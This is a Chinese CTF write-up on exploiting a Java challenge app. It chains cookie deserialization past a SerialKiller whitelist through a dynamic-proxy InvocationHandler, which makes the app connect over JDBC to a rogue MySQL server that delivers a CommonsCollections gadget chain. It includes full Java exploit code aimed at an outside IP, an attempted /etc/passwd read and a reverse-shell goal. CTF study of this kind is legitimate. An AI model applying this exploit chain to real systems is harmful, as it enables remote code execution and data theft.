考点:JDBC反序列化打CC链+动态代理类触发readobject
一眼看过去 好像只有一个mysql-connector-java
可以利用jdbc
可能的攻击路径就有1) Mysql服务器任意文件读取 2) JDBC反序列化打依赖链
出现了一个不常见的依赖库 serialkiller
做了反序列化的过滤器
可以尝试查看其源码
https://github.com/ikkisoft/SerialKiller/blob/master/pom.xml
会发现其隐形依赖了 commons-collections3.2
也就是常见的CC 3.x
一种可能的路径就是 JDBC反序列化打CC依赖链 不排除Mysql的任意文件读取
@GetMapping({"/hello"})
public String hello(@CookieValue(value = "data", required = false) String cookieData, Model model) {
if (cookieData == null || cookieData.equals("")) {
return "redirect:/index";
}
Info info = (Info) deserialize(cookieData);
if (info != null) {
model.addAttribute("info", info.getAllInfo());
return "hello";
}
return "hello";
}
private Object deserialize(String base64data) {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64data));
try {
ObjectInputStream ois = new SerialKiller(bais, "serialkiller.conf");
Object obj = ois.readObject();
ois.close();
return obj;
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
我们对/hello
路由下的cookie可控 可以传入任意数据 但是 deserialize
函数结合SerialKiller
做了白名单过滤
被反序列化的类只接受 本地的特定包
<regexp>gdufs\..*</regexp>
<regexp>java\.lang\..*</regexp>
仔细观察会发现
定义类 InfoInvocationHandler
实现了 InvocationHandler, Serializable
可以作为动态代理的处理类 而且可以被序列化
而我们的最终目的是 触发 DatabaseInfo
类中的 connect
方法
同样的 被代理类实现了 序列化接口和Info
接口
可以被动态代理 方法有 checkAllInfo()
getAllInfo()
纵观源码不存在典型的readObject()
可以被触发
但是存在 动态代理可以劫持 readObect()
的这个动作
在具体的invoke()
之前 就调用了类的 checkAllInfo()
如果被代理的类是 目标类DatabaseInfo
的 checkAllInfo()
方法
是可以实现 发起jdbc的连接的
对于 mysql 8.x版本
characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
通过触发ServerStatusDiffInterceptor
拦截器,执行查询语句会调用拦截器的 preProcess
和 postProcess
方法 作为开头 最终实现ResultSetImpl
的getObject
方法 实现反序列化操作
编写动态代理类 被代理对象是 DatabaseInfo
类
package gdufs.challenge.web;
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
public class exp {
public static void main(String[] args) throws IOException {
DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("23.94.38.86");
databaseInfo.setPort("3306");
databaseInfo.setUsername("J1rrY");
databaseInfo.setPassword("characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
InvocationHandler infoInvocationHandler = (InvocationHandler) new InfoInvocationHandler(databaseInfo);
Info infoproxy = (Info) Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(), databaseInfo.getClass().getInterfaces(), infoInvocationHandler);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(infoproxy);
String poc=new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));
System.out.println(poc);
}
}
这里的Mysql fake server
我选择 https://github.com/rmb122/rogue_mysql_server
具体配置按 Readme
来就可以了
可以简单尝试一下都读取 /etc/passwd
失败了
直接用 JDBC反序列化链打CC链
环境出网,反弹shell就可以了